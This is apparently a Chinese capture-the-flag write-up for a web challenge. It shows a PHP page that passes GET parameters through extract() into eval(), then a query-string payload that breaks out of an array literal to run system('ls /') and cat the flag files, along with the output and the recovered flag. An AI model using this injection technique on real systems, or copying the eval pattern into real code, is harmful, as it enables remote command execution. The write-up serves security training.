DASCTF Oct X 吉林工师
WEB1
迷路的魔法少女:魔法少女迷失在了代码空间 请寻找她现在在哪
源码
<?php
highlight_file('index.php');
extract($_GET);
error_reporting(0);
function String2Array($data)
{
if($data == '') return array();
@eval("\$array = $data;");
return $array;
}
if(is_array($attrid) && is_array($attrvalue))
{
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}
String2Array($attrstr);
开头extract
接收参数生成变量表。
在函数String2Array
当中执行了危险函数 eval
,可以对其利用以命令执行。
因此构造payload,
首先由合法的eval字符串入手
?attrid[0]=0&attrvalue[0]=0;
array("0"=>"0");
拼接正常逻辑下String2Array()调用的eval参数
"\$array = array("0"=>"0");"
构造非法参数,使非法命令函数溢出。
"\$array = array("0"=>"0");system('ls');(""
attrid[0]=0
attrvalue[0]=0");system('ls /');("
以下只写system的参数
// ls /
bin boot dev etc flag.sh home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
// cat /flag.sh
#!/usr/bin/env bash TZ="Tokyo $FLAG" echo "Tokyo $FLAG" > /etc/timezone export FLAG=not_here FLAG=not_here
// cat /etc/timezone
Tokyo flag{95df6a50-097c-4082-ae02-beaea86d58ab}